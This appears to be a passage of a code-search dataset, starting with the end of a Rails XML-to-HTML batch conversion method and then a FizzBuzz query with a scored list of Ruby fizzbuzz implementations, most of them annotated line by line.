'public/input/taxonomy.xml'\n end\n if params[:output_folder_path]\n @output_folder_path = params[:output_folder_path]\n if !File.exists?(@output_folder_path) && !File.directory?(@output_folder_path)\n render :text => \"Output folder path '#{@output_folder_path}' does not exist.\"\n return\n end\n #add slash at the end of path \n last_char = @output_folder_path.split('').last\n if last_char != \"/\"\n @output_folder_path << \"/\"\n end \n else\n #default path\n @output_folder_path = 'public/output/'\n end\n \n #read and parse source files\n begin\n parser = XML::Parser.file(taxonomy_path)\n @doc = parser.parse\n parser = XML::Parser.file(destinations_path)\n @destinations = parser.parse\n rescue => exc\n render :text => \"Error parsing source file ('#{exc.message}').\"\n return\n end\n \n #speed up XPath computation on static documents\n @doc.order_elements! \n @destinations.order_elements! \n \n #get all destination elements\n @all_nodes = @doc.find(\"//node\")\n first_time = true\n file_count = 0\n @all_nodes.each do |node| \n @node = node\n \n #get destination id\n attributes = @node.attributes\n @atlas_node_id = attributes.get_attribute('atlas_node_id')\n if @atlas_node_id == nil\n @atlas_node_id = attributes.get_attribute('geo_id') \n end\n \n #get destination text\n @node.each_child do |element|\n \t if element.name == 'node_name' \t\n \t\t @node_name = element.content\n \t\t break\n \t end\n end\n if !@node_name \n @node_name = \"Text not found\"\n end\n \n #get overview text of destination\n @overview = @destinations.find_first(\"//destination[@atlas_id=#{@atlas_node_id.value}]/introductory/introduction/overview\")\n \n #get parent destination\n @parent_node = @node.parent\n parent_node_attributes = @parent_node.attributes\n @parent_atlas_node_id = parent_node_attributes.get_attribute('atlas_node_id')\n if @parent_atlas_node_id == nil\n @parent_atlas_node_id = parent_node_attributes.get_attribute('geo_id') \n end\n \n #get parent destination text\n @parent_node.each_child do |element|\n \t if element.name == 'node_name' \t\n \t\t @parent_node_name = element.content\n \t\t break\n \t end\n end\n if !@parent_node_name \n @parent_node_name = \"Text not found\"\n end\n \n #render output html and create new file at a specified path.\n html_text = render_to_string \n file_name = \"#{@output_folder_path}#{@atlas_node_id.value}-#{@node_name}.html\"\n file = File.new(file_name,\"w\")\n file.write html_text\n file.close \n \n #write log entry\n if first_time == true\n @logger = Logger.new(\"#{@output_folder_path}_batch.log\", shift_age = 'daily')\n @logger.info(\"#{get_time_stamp} - Batch job started\")\n file_count += 1\n @logger.info(\"#{get_time_stamp} - Created #{file_name}\")\n first_time = false\n else\n file_count += 1\n @logger.info(\"#{get_time_stamp} - Created #{file_name}\")\n end\n end\n @logger.info(\"#{get_time_stamp} - Batch completed. #{file_count} files created\")\n @logger.info(\"\")\n render :text => 'Conversion completed.'\n end", "title": "" } ]
37cb5f662fff5b36a250907358d29998
Write a method that takes two arguments: the first is the starting number, and the second is the ending number. Print out all numbers between the two numbers, except if a number is divisible by 3, print "Fizz", if a number is divisible by 5, print "Buzz", and finally if a number is divisible by 3 and 5, print "FizzBuzz".
[ { "docid": "0b554a28dc8cc069c479edee29de5bb9", "score": "0.0", "text": "def fizzbuzz(num1, num2)\n arr = []\n num1.upto(num2) do |num|\n arr << case\n when num % 15 == 0 then 'FizzBuzz'\n when num % 3 == 0 then 'Fizz'\n when num % 5 == 0 then 'Buzz'\n else num.to_s\n end\n end\n puts arr.join(', ')\nend", "title": "" } ]
[ { "docid": "e95922df83d1f137a7f401c3629e2d21", "score": "0.8228264", "text": "def fizzbuzz(num_1, num_2, range)\n#Repeats the following code for the duration of the range argument.\n (1..range).each do |i|\n#If i is divisible by both num_1 and num_2, it displays string fizzbuzz\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If i is divisible by num_1, it displays string fizz\n elsif i % num_1 === 0\n puts 'fizz'\n#If i is divisible by num_2, it displays string buzz\n elsif i % num_2 === 0\n puts 'buzz'\n#If i isn't divisible by either num_1 or num_2, it displays integer i\n else\n puts i\n#Ends the if, elsif, elsif, else check\n end\n#ends our loop\n end\n#ends our method\nend", "title": "" }, { "docid": "60120bb1450effe2f8f356dd461e6138", "score": "0.8119578", "text": "def fizzbuzz(num_1, num_2, range)\n # sets 1 to range (last number) where each number will do the following\n (1..range).each do |i|\n # if the remainder of each number i divided by the first number num_1 should have a zero AND\n # the remainder of each number i divided by the second number num_2 should have a zero\n if i % num_1 === 0 && i % num_2 === 0\n # then print 'fizzbuzz'\n puts 'fizzbuzz'\n # otherwise, if the remainder of number i divdied by num_1 should have a zero\n elsif i % num_1 === 0\n # then print 'fizz'\n puts 'fizz'\n # otherwise, if the remainder of number i divided by num_2 should have a zero\n elsif i % num_2 === 0\n # then print 'buzz'\n puts 'buzz'\n else\n # if all the conditions above are not met, then print the number i\n puts i\n end\n end\nend", "title": "" }, { "docid": "85582256d336c2fb5b267452affe2e16", "score": "0.8105232", "text": "def fizzbuzz(start_num, end_num)\n start_num.upto(end_num) do |num|\n if num % 5 == 0 && num % 3 == 0\n puts \"FizzBuzz\"\n elsif num % 3 == 0 then puts \"Fizz\"\n elsif num % 5 == 0 then puts \"Buzz\"\n else puts num\n end\n end\nend", "title": "" }, { "docid": "b5710bd646fdaeadf0251df0325f5cf8", "score": "0.80788773", "text": "def fizzbuzz(num_1, num_2, range)\n # for each number in the range parameter (1 to range), do the following where i represents that number\n (1..range).each do |i|\n # if the remainder when you divide i by num_1 AND when you divide i by num_2 is 0 in both cases\n if i % num_1 === 0 && i % num_2 === 0\n # then print 'fizzbuzz'\n puts 'fizzbuzz'\n # if it IS true that the remainder when you divide i by num_1 is 0 (but not when you divide i by num_2)\n elsif i % num_1 === 0\n # then print just 'fizz'\n puts 'fizz'\n # if it's only true that the remainder is 0 when you divide i by num_2 and not num_1\n elsif i % num_2 === 0\n # then print just 'buzz'\n puts 'buzz'\n # if none of the three previous situations applies (is true)\n else\n #then instead, just print the number (i)\n puts i\n # close the if statement\n end\n # close the iteration loop\n end\n# close the method definition\nend", "title": "" }, { "docid": "bd2ed9738467502c6403a5eb42f3eba5", "score": "0.80703557", "text": "def fizzbuzz(num_1, num_2, range)\n (1..range).each do |i|\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n elsif i % num_1 === 0\n puts 'fizz'\n elsif i % num_2 === 0\n puts 'buzz'\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "c6f248bea3398d20dd250a8d9ec58a09", "score": "0.80638134", "text": "def fizzbuzz(num_1, num_2, range)\n# Do i for all the numbers in a range from 1 to the value that will be assigned to the variable \"range\".\n (1..range).each do |i|\n# If i divided by the value assigned to num_1 is equal to 0 and i divided by the value assigned to num_2 is equal to zero then print \"fizzbuzz\".\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# If i divided by the value assigned to num_1 is equal to zero print \"fizz\".\n elsif i % num_1 === 0\n puts 'fizz'\n# If i divided by the value assigned to num_2 is equal to zero print \"buzz\".\n elsif i % num_2 === 0\n puts 'buzz'\n# If none of the previous conditions are true print i.\n else\n puts i\n# Ends the if/else statement.\n end\n# Ends the argument.\n end\n# Ends the method.\nend", "title": "" }, { "docid": "a8cb848033b4ff27f24dbf93f92fd94f", "score": "0.80447024", "text": "def fizzbuzz(num_1, num_2, range)\n # starts a loop which runs through all integers between 1 and whatever 'range' argument is equal to. i is the variable where each integer is stored during the loop.\n (1..range).each do |i|\n # starts if/else statement by detecting whether integer i is evenly divisible by both num_1 and num_2.\n if i % num_1 === 0 && i % num_2 === 0\n #If so, it prints 'fizzbuzz.'\n puts 'fizzbuzz'\n # detects if integer i is evenly divisible by num_1 (and only num_1, since line 45 would have caught it if it were divisible by both)\n elsif i % num_1 === 0\n # If so, it prints 'fizz'\n puts 'fizz'\n # detects if integer i is evenly divisible by num_2 (and only num_2)\n elsif i % num_2 === 0\n # If so, it prints 'buzz'\n puts 'buzz'\n # If integer i is evenly divisible by neither num_1 nor num_2, the function just prints integer i\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "786728e77d7f99591937ce7e5e41c908", "score": "0.80433816", "text": "def fizzbuzz(start_number, end_number)\n (start_number..end_number).each do |number|\n if number % 15 == 0 \n puts \"FizzBuzz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n else\n puts number\n end \n end\nend", "title": "" }, { "docid": "fb020e94a3d82d56886b73ecd0a8c959", "score": "0.8028213", "text": "def fizzbuzz(num_1, num_2, range)\n#create a loop that iterates from 1 up to the value of the argument range\n# variable i gets assigned another value after each loop\n (1..range).each do |i|\n# in each iteration, if i is divided by num_1 and has 0 remainder (modulo)\n# AND if i is divided by num_2 and has 0 remainders, 'fizzbuzz' will print out\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# if condition is not met from above, then if only i divided by num_1 has 0\n#remainder, then only print out 'fizz'\n elsif i % num_1 === 0\n puts 'fizz'\n# Or if only i divided by num_2 has 0 remainder, then only print out 'buzz'\n elsif i % num_2 === 0\n puts 'buzz'\n# if the three conditions above are not true then just print out value of i\n else\n puts i\n end\n #iterate the loop to the next value in the range\n end\n # when all values within the range are finished, end the loop\nend", "title": "" }, { "docid": "7eb857a3ffd590fcf32b5134c291ecaa", "score": "0.8024902", "text": "def fizzbuzz(num_1, num_2, range)\n # Declare a function that does the following for each argument (i) beginning at 1 and ending at\n # the range:\n (1..range).each do |i|\n # If the value of i divided by num_1 is an integer AND the value of i divided\n # by num_2 is also an integer, print the value 'fizzbizz' on the next line\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # If the value of i divided by num_1 is an integer, print 'fizz' on the next line\n elsif i % num_1 === 0\n puts 'fizz'\n # If the value of i divided by num_2 is an integer, print 'buzz' on the next line\n elsif i % num_2 === 0\n puts 'buzz'\n # If none of the above conditions are met, print the value of i on the next line.\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "9b34da8c1222aedce730c4bf54c950b3", "score": "0.8023898", "text": "def fizzbuzz(num_1, num_2, range)\n# iteration on the range of values from 1 to the end of the range for the given input.\n (1..range).each do |i|\n# creating a happy path where the given value divided by num 1 and num 2 returns a remainder of 0 in *both* cases\n if i % num_1 === 0 && i % num_2 === 0\n# puts \"fizzbuzz\" into the console, pretty straightforward\n puts 'fizzbuzz'\n# another path, covering if the value divided by num_1 returns a remainder of 0, but the value divided by num_2 does not\n elsif i % num_1 === 0\n# puts \"fizz\" into the console\n puts 'fizz'\n# another path, covering if the value divided by num_2 returns a remainder of 0, but the value divided by num_1 does not\n elsif i % num_2 === 0\n# puts \"buzz\" into the console\n puts 'buzz'\n# final path, covering if the value divided by num_1 or num_2 doeesn't return a non-zero remainder in either case. also a catch-all for some odd inputs\n else\n# puts the current integer into the console\n puts i\n# ends our if/else paths\n end\n# ends our iteration of the range of values\n end\n# ends our function\nend", "title": "" }, { "docid": "070db9779fdb07cda3b1c670b9685941", "score": "0.8020595", "text": "def fizzbuzz(num_1, num_2, range)\n # starts a counter from 1 to range value\n # for each in that range, print the specified output on\n # these next conditions:\n (1..range).each do |i|\n\n # if the next number in the counter is divisible\n # by both num1 and num2 (with 0 remainder)\n if i % num_1 === 0 && i % num_2 === 0\n # print this specified output\n puts 'fizzbuzz'\n\n # if the next number in the counter is divisible by num1 (with 0 remainder)\n elsif i % num_1 === 0\n # print this specified output\n puts 'fizz'\n\n # if the next number in the counter is divisible by num2 (with 0 remainder)\n elsif i % num_2 === 0\n # print this specified output\n puts 'buzz'\n # if none of these conditions are met,\n else\n # print the next number in the range counter.\n puts i\n # end of conditionals\n end\n # end of each.do loop\n end\n # end of method\nend", "title": "" }, { "docid": "5c2a1c84cd74798778b6d2eb4bb4d44e", "score": "0.80014485", "text": "def fizzbuzz(num_1, num_2, range)\n# Take every integer between 1 and the range argument and do the following:\n (1..range).each do |i|\n # If the integer's modulous with num_1 argument equals zero and the integer's modulous with the num_2 argument equals zero\n if i % num_1 === 0 && i % num_2 === 0\n # print fizzbuzz\n puts 'fizzbuzz'\n # Otherwise if the integer's modulous with num_1 argument equals zero\n elsif i % num_1 === 0\n # print fizz\n puts 'fizz'\n # Otherwise if the integer's modulous with num_2 argument equals zero\n elsif i % num_2 === 0\n # print buzz\n puts 'buzz'\n # None of the above?\n else\n # Then just print the integer\n puts i\n # close if statement\n end\n # close .each method\n end\n# close fizz buzz method\nend", "title": "" }, { "docid": "c75d96a742c99b0c4d23a23f18705076", "score": "0.8001263", "text": "def fizzbuzz(start_num, end_num)\n for curr_num in (start_num..end_num)\n if curr_num % 15 == 0\n print \"FizzBuzz\"\n elsif curr_num % 5 == 0\n print \"Buzz\"\n elsif curr_num % 3 == 0\n print \"Fizz\"\n else\n print curr_num\n end\n print \", \" if curr_num < end_num\n end\n puts \"\"\nend", "title": "" }, { "docid": "8ee147c1a37e9783374302fc7d23259e", "score": "0.7995156", "text": "def fizzbuzz(starting, ending)\n (starting..ending).each do |num|\n if (num % 15).zero?\n p \"FizzBuzz\"\n elsif (num % 3).zero?\n p \"Fizz\"\n elsif (num % 5).zero?\n p \"Buzz\"\n else\n p num\n end\n end\nend", "title": "" }, { "docid": "9b1633ed91f001284f093e2caf624bfd", "score": "0.79785675", "text": "def fizzbuzz(num_1, num_2, range)\n#Iterate the process begining at the value \"1\" up to the range argument's value.\n#A new variable i is established, i starts as \"1\" and goes up by 1 up until the range value is hit.\n (1..range).each do |i|\n#Establish a conditional: If i's value can be divided by num1's value with a remainder\n#of 0 AND i's value can also be divided by num2's value with a remainder of 0, print the string 'fizzbuzz' to the terminal\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If both prongs of the above conditional are not met, but i's value can be divided by num1's value with a remainder 0 then...\n elsif i % num_1 === 0\n#...print the string 'fizz' to the terminal\n puts 'fizz'\n#If neither of the two previous conditionals are met, but i's value can be divided by num2's value with a remainder 0 then...\n elsif i % num_2 === 0\n#...print the string 'fizz' to the terminal\n puts 'buzz'\n#If none of those conditionals were satisfied then...\n else\n#...print the value of i to the terminal\n puts i\n#end the conditional\n end\n#end the iteration\n end\n#end the method\nend", "title": "" }, { "docid": "8c26a2a0d4745c8fbf1b92bed48cc23e", "score": "0.7960917", "text": "def fizzbuzz(num_1, num_2, range)\n#iterate throughout the number set\n (1..range).each do |i|\n #boolean, === is exact equals, % is the remainder from division (modulo), && is AND both conditions are met\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n #otherwise, if this exact number is met, put this phrase\n elsif i % num_1 === 0\n puts 'fizz'\n #otherwise, if this exact number is met, put this phrase\n elsif i % num_2 === 0\n puts 'buzz'\n #if all else fails, put i\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "821f096e9187133b31ce8ae1e62f5e31", "score": "0.7955734", "text": "def fizzbuzz(num_1, num_2, range)\n#Loop through the method using the integers 1 through the range value presented in the argument.\n (1..range).each do |i|\n#If both the modulo if integer and num_1 and integer and num_2 are equal to 0, the string fizzbuzz is returned.\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If only the modolo of integer and num_1 is equal to 0, the string fizz is returned.\n elsif i % num_1 === 0\n puts 'fizz'\n#If only the modulo of i and num_2 is equal to 0, the string buzz is returned.\n elsif i % num_2 === 0\n puts 'buzz'\n#If nothing equals 0, put the integer\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "4f0bef8ad79ac0ebb16a9a95d4db7c8b", "score": "0.7937392", "text": "def fizzbuzz(start_num, end_num)\n start_num.upto(end_num) do |num|\n if num % 15 == 0\n print \"FizzBuzz \"\n elsif num % 5 == 0\n print \"Buzz \"\n elsif num % 3 == 0\n print \"Fizz \"\n else\n print \"#{num.to_i} \"\n end\n end\nend", "title": "" }, { "docid": "d36b6f4f567305931b8c7c06719193b9", "score": "0.793593", "text": "def fizzbuzz(num_1, num_2, range)\n#from integer 1 to argument range above, execute the code below for each element. variable i stands for the element in the range the program is currently using at the time.\n (1..range).each do |i|\n#conditional, if variable i modulo argument num_1 is equal to 0 AND variable i modulo argument num_2 is also equal to 0, print string \"fizzbuzz\"\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#if the above conditional is not true, check if variable i modulo argument num_1 is equal to 0 by itself. if true, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n#if neither of the above conditionals are true, check if variable i modulo argument num_2 is equal to 0 by itself. if true, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n#if none of the above conditionals are found to be true, print the value of variable i (the number in the range the program was checking)\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "cb10fd893ffb74fee56c8ca28d476169", "score": "0.792467", "text": "def fizzbuzz(num1,num2)\n for i in num1..num2 do\n if i%15 == 0\n puts \"FizzBuzz\"\n elsif i%3 == 0\n puts \"Fizz\"\n elsif i%5 == 0\n puts \"Buzz\"\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "eb9f12c3f2ab2b4287e37b6e39ec83b2", "score": "0.7922106", "text": "def fizzbuzz(start, finish)\n start.upto(finish) do |num|\n if div_by_3?(num) && div_by_5?(num)\n puts \"FizzBuzz\"\n elsif div_by_5?(num)\n puts \"Buzz\"\n elsif div_by_3?(num)\n puts \"Fizz\"\n else\n puts num\n end\n end\nend", "title": "" }, { "docid": "2b4d13c295116fc0cac0ad7e58ed764c", "score": "0.79199666", "text": "def fizzbuzz(num_1, num_2, range)\n #sets up a counter starting at 1 ending in a defined range\n #and loops through the conditions until the full range is iterated\n (1..range).each do |i|\n #checks if i is divisible by both num_1 and num_2\n if i % num_1 === 0 && i % num_2 === 0\n #prints fizzbuzz if true\n puts 'fizzbuzz'\n #checks if i is divisible only by num_1\n elsif i % num_1 === 0\n #prints fizz if true\n puts 'fizz'\n #checks if i is divisible only by num_2\n elsif i % num_2 === 0\n #prints buzz if true\n puts 'buzz'\n #creates a condition that encompasses any other inputs\n else\n #prints i if true\n puts i\n #end of conditionals\n end\n #end of loop\n end\n#end of method\nend", "title": "" }, { "docid": "953612a50b9ab308f9fd739c35c1ad83", "score": "0.7913905", "text": "def fizzbuzz(num_1, num_2, range)\n #set range of numbers for fizzbuzz\n (1..range).each do |i|\n #set initial condition\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n #set alternate condition\n elsif i % num_1 === 0\n puts 'fizz'\n #set alternate condition\n elsif i % num_2 === 0\n puts 'buzz'\n #set else condition\n else\n puts i\n #close if-statement\n end\n #close .each method\n end\n#close fizzbuzz\nend", "title": "" }, { "docid": "36750fbfda2d83f8e75ba09addab82a5", "score": "0.78946465", "text": "def fizzbuzz(num_1, num_2, range)\n# for loop that parses through entire number range from 1 to what is passed as an argument\n (1..range).each do |i|\n# boolean if statement if the modulo of num_1 argument is 0 and num_2 argument is also 0 results\n if i % num_1 === 0 && i % num_2 === 0\n# prints fizzbuzz to terminal if above boolean is true\n puts 'fizzbuzz'\n# else if boolean range operator modulo num_1 argument is 0 results in string printing to terminal\n elsif i % num_1 === 0\n# prints fizz to terminals\n puts 'fizz'\n# else if boolean range value modulo num_2 argument is 0 prints string to terminal\n elsif i % num_2 === 0\n# prints buzz to terminal\n puts 'buzz'\n# if all above booleans fail\n else\n# puts range value\n puts i\n end\n end\nend", "title": "" }, { "docid": "a833f322990886f9d5aad6a07fb3b493", "score": "0.7894134", "text": "def fizzbuzz(num_1, num_2, range)\n# Iterate through each number in a range from 1 to whatever number is input for\n# the 'range' argument, and do something for each number.\n (1..range).each do |i|\n# Use an if statement that executes code if the conditional is true. If i is\n# divisible by num_1 and num_2, then execute the code below. If not true, move\n# on to the elsif statement.\n if i % num_1 === 0 && i % num_2 === 0\n# Print 'fizzbuzz' if the conditional above is true.\n puts 'fizzbuzz'\n# Use an elsif statement that executes code if the conditional is true. If i is\n# divisible by num_1, then print 'fizz'. If not true, move on to next elsif statement.\n elsif i % num_1 === 0\n puts 'fizz'\n# Use an elsif statement that executes code if the conditional is true. If i is\n# divisible by num_2, then print 'buzz'. If not true, move on to else statement.\n elsif i % num_2 === 0\n puts 'buzz'\n# If none of the above conditional statements are true, print i.\n else\n puts i\n# End the if/elsif/else statement.\n end\n# End the for loop.\n end\n# End the fizzbuzz method definition.\nend", "title": "" }, { "docid": "2c98f4948a6cbb72cf25a716950d48f7", "score": "0.7892788", "text": "def fizzbuzz(num_1, num_2, range)\n #starts an iteraterion over the integers 1-value of range, defined as i\n (1..range).each do |i|\n # 41&42, if the remainder of i devided by parameter num_1 is equavalent to zero, AND the remainder of i divided by num_2 is zero, print 'fizzbuzz'\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # if the remainder of i divided by num_1 is equavalent to zero, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n # if the remainder of i divided by num_2 is zero, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n #if no other conditional has been satisfied, print i\n else\n puts i\n #closes the conditional.\n end\n #closes the iteraterion\n end\n#closes the method\nend", "title": "" }, { "docid": "e22216685b22f420269bb4ac749a014d", "score": "0.7883646", "text": "def fizzbuzz(num_1, num_2, range)\n # create a for-loop that begins at 1 and runs until the range value is met\n (1..range).each do |i|\n # if the next value in the range is divided by num_1 and is mod 0 (no remainder)\n # and if the next value in the range is divided by num_2 and is mod 0\n if i % num_1 === 0 && i % num_2 === 0\n # display string\n puts 'fizzbuzz'\n # if the next value in the range is divided by num_1 and is mod 0\n elsif i % num_1 === 0\n # display string\n puts 'fizz'\n # if the next value in the range is divided by num_2 and is mod 0\n elsif i % num_2 === 0\n # display string\n puts 'buzz'\n else\n # if none of the previous statements are met, display the next value in the range\n puts i\n # end the if/else statement\n end\n # end the for-loop\n end\n# end the method\nend", "title": "" }, { "docid": "ae44c6a587029130feaca0d325221b38", "score": "0.7873775", "text": "def fizzbuzz(num_1, num_2, range)\n #calls alll numbers in range to each do variable |i|\n (1..range).each do |i|\n # begins if else statement if i can be divided by num_1 and if i divided by num_2\n if i % num_1 === 0 && i % num_2 === 0\n # 'fizzbuzz' is printed to terminal\n puts 'fizzbuzz'\n #if the above is not true i will be checked if divisble by num_1\n elsif i % num_1 === 0\n # if true 'fizz' will be printed to the terminal\n puts 'fizz'\n # checks if i can be divided by num_2\n elsif i % num_2 === 0\n # if true 'buzz' is printed to the terminal\n puts 'buzz'\n #if none of the above is true\n else\n # the variable i is printed to the terminal\n puts i\n #ends if else statement\n end\n #ends range.each do\n end\n #ends method\nend", "title": "" }, { "docid": "804a323d54cc8245b434a422ab3e2ca0", "score": "0.7873122", "text": "def fizzbuzz(num_1, num_2, range)\n # Create a for loop function that will go through each number inside of the range\n (1..range).each do |i|\n # Create conditional statement and print \"fizzbuzz\" if integer is evenly divisible by both 'num_1' and 'num_2' using the 'Logical And' operator \n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # Create a second conditional statement and print \"fizz\" if integer is NOT evenly divisibly by both 'num_1' and 'num_2', but is evenly divisible by 'num_1'\n elsif i % num_1 === 0\n puts 'fizz'\n # Create a third conditional statement and print \"buzz\" if integer if NOT evenly divisible by both 'num_1' and 'num_2', but is evenly divisible by 'num_2'\n elsif i % num_2 === 0\n puts 'buzz'\n # Create the final conditional statement and print 'i' if the integer is not captured by the previous 3 conditional statements\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "cb79e06a900a644cb2994b90227ef72f", "score": "0.7864081", "text": "def fizzbuzz(num_1, num_2, range) #defines a method called fizzbuzz which takes 3 parameters (num_1, num_2, range)\n (1..range).each do |i| #iterates `i` over numbers 1 through a number set by parameter `range`\n if i % num_1 === 0 && i % num_2 === 0 #begins if...end loop with conditional that if the modulo of num_1 into `i` AND the modulo of num_2 into `i` both equal zero\n puts 'fizzbuzz' #then \"fizzbuzz\" will be sent to terminal\n elsif i % num_1 === 0 #if the first step is false AND the modulo of num_1 into `i` is 0 then\n puts 'fizz' #\"fizz\" will be printed to terminal\n elsif i % num_2 === 0 #if the first `if` AND the first `elsif` are false AND the modulo of num_2 into `i` is 0 then\n puts 'buzz' #\"buzz\" will be printed to terminal\n else #if all the above are false\n puts i #then variable `i` will be printed to terminal\n end #ends if statement from line 30\n end #ends .each do from line 29\nend", "title": "" }, { "docid": "8114b54e9a178d7d06d21b1ac90cebfb", "score": "0.785878", "text": "def fizzbuzz(num_1, num_2, range)\n #Take all integers between 1 and the range arguments and does and using\n #if/elsif/else statements makes a function\n (1..range).each do |i|\n #Takes the integers from line 48 and divides them by the num_1 argument,\n #then takes the remainder, and sees if they equal 0, does this with num_2\n #argument as well, and if both are true runs the next line\n if i % num_1 === 0 && i % num_2 === 0\n #If the above is true, prints to terminal string 'fizzbuzz'\n puts 'fizzbuzz'\n #If the above code was not true and did not run, takes the integers from\n #line 48 and once again sees if the remainder of the argument num_1 ONLY\n #is equal to 0, if true, runs the next line\n elsif i % num_1 === 0\n #If the above is true, prints to terminal string 'fizz'\n puts 'fizz'\n #If both of the above code was not true and did not run, takes the integers\n #from line 48 and once again sees if the remainder of the argument num_2\n #ONLY is equal to 0, if true, runs the next line\n elsif i % num_2 === 0\n #If the above is true, prints to terminal string 'buzz'\n puts 'buzz'\n #If none of the above code was true for any argument, runs the code below\n else\n #If the above is true, prints the integer to terminal\n puts i\n #Ends the if/elsif/else function\n end\n #Ends the function that gave all integers between 1 and argument 'range' and\n #applied them to the if/elsif/else function\n end\n#Ends the function that defined what fizzbuzz did\nend", "title": "" }, { "docid": "4d4ad9e8a26648e96624a752752262fe", "score": "0.7839734", "text": "def fizzbuzz(num_1, num_2, range)\n # this line defines a for-loop that runs from 1 to the range parameter passed in\n # this will iterate on each number from 1 to the range parameter inclusive\n (1..range).each do |i|\n # this line defines an if statement with 3 conditional statements\n # 1) the remainder of the iterator number (i) / num_1 parameter is 0 (meaning even division)\n # 2) the remainder of the iterator number (i) / num_2 parameter is 0 (meaning even division)\n # 3) that both of the above conditionals are true, meaning i is evenly divided by both nums\n if i % num_1 === 0 && i % num_2 === 0\n # if the above conditionals are true this prints a string\n puts 'fizzbuzz'\n # this line will run if the previous if returns false. this defines a second\n # conditional that returns true if the remainder of i / num_1 parameter\n # is 0 (meaning even division)\n elsif i % num_1 === 0\n # if the above conditional is true this line prints a string\n puts 'fizz'\n # this line will run if the previous elsif returns false. this defines a third\n # conditional that returns true if the remainder of i / num_2 parameter\n # is 0 (meaning even division)\n elsif i % num_2 === 0\n # if the above conditional is true this line prints a string\n puts 'buzz'\n # if none of the above the above conditionals return true run line below\n else\n # this line prints the iterator number i\n puts i\n # this line ends the if-elsif-else block\n end\n # this line ends the for-loop\n end\n# this line ends the fizzbuzz method\nend", "title": "" }, { "docid": "d3ef625a0d5dfc4f25465d630ab48f78", "score": "0.78108823", "text": "def fizzbuzz(num_1, num_2, range)\n # for each of \"range\", do the below - i iterates from 1 to range\n (1..range).each do |i|\n # if statement - calculates whether remainder = 0 when i is divided by both num_1 and num_2 \n # this is equivalent to figuring out if num_1 and num_2 both divide evenly in. \n if i % num_1 === 0 && i % num_2 === 0\n # print \"fizzbuzz \" to screen if true \n puts 'fizzbuzz'\n # if quotient is zero for num_1 but not num_2 - print fizz \n elsif i % num_1 === 0\n # print fizz \n puts 'fizz'\n #if quotient = 0 for num_2 but not num_1 - print buzz \n elsif i % num_2 === 0\n # print buzz \n puts 'buzz'\n # if none of these are true - print i \n else\n # print i \n puts i\n \n end\n \n>>>>>>> 7f31df2026bbc770e1d39fa796fd7a1c7b96e2e3\n end\n\nend", "title": "" }, { "docid": "089e0633fe310e1f237bc70e2c82dec0", "score": "0.78054917", "text": "def fizzbuzz(num_1, num_2, range)\n# looping through the code block using iteration.\n (1..range).each do |i|\n# If left hand operand i devided by right hand operand num_1 is equal to 0 and left hand operand i devided by right hand operand num_2 is equal to 0 then print fizzbuzz\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# If not the first if check left hand operand i devided by right hand operand num_1 is equal to 0 if so print fizz.\n elsif i % num_1 === 0\n puts 'fizz'\n# If not the first if or first elsif check left hand operand i devided by right hand operand num_2 is equal to 0 if so print buzz. \n elsif i % num_2 === 0\n puts 'buzz'\n# If non of the above print i\n else\n puts i\n# End block of code\n end\n end\nend", "title": "" }, { "docid": "4a48054ae5651347c4560587ec1f181b", "score": "0.78028333", "text": "def fizzbuzz(num_1, num_2, range)\n # create loop and declare variable \"i\" assigned to integar 1, and repeat loop\n # for \"i\" on every subsequent integar until the 3rd argument \"range\" is reached\n (1..range).each do |i|\n # create if statement for if the modulus of variable i and argument num_1 is\n # equal to 0 and the modulus of variable i and num_2 is equal to zero,\n # print string \"fizzbuzz\"\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # create else if statement for if the modulus of variable i and argument\n # num_1 is equal to 0, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n # create else if statement for if the modulus of variable i and argument\n # num_2 is equal to 0, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n # create else statement for all other conditions, and print \"i\"\n else\n puts i\n # end if statement\n end\n # end loop\n end\n# end method\nend", "title": "" }, { "docid": "d33e10d676122209c8f639a5b1657f7e", "score": "0.77849734", "text": "def fizzbuzz(a,b)\n numbers = (a..b).to_a\n\n numbers.each do |number|\n if number % 15 == 0\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n else\n puts number\n end\n end\nend", "title": "" }, { "docid": "84ae60fa42308d4e1b799a038d30d172", "score": "0.7781272", "text": "def fizzbuzz(num_1, num_2, range)\n #iterates over the parameters of fizzbuzz\n (1..range).each do |i|\n #if the number i's remainder after dividing into num_1 is equal to 0 & i's remainder after dividing by num_2 is also 0 is true\n if i % num_1 === 0 && i % num_2 === 0\n #print fizzbuzz\n puts 'fizzbuzz'\n #if i's remainder from dividing into num_1 equals 0 is true\n elsif i % num_1 === 0\n #print fizz\n puts 'fizz'\n #if 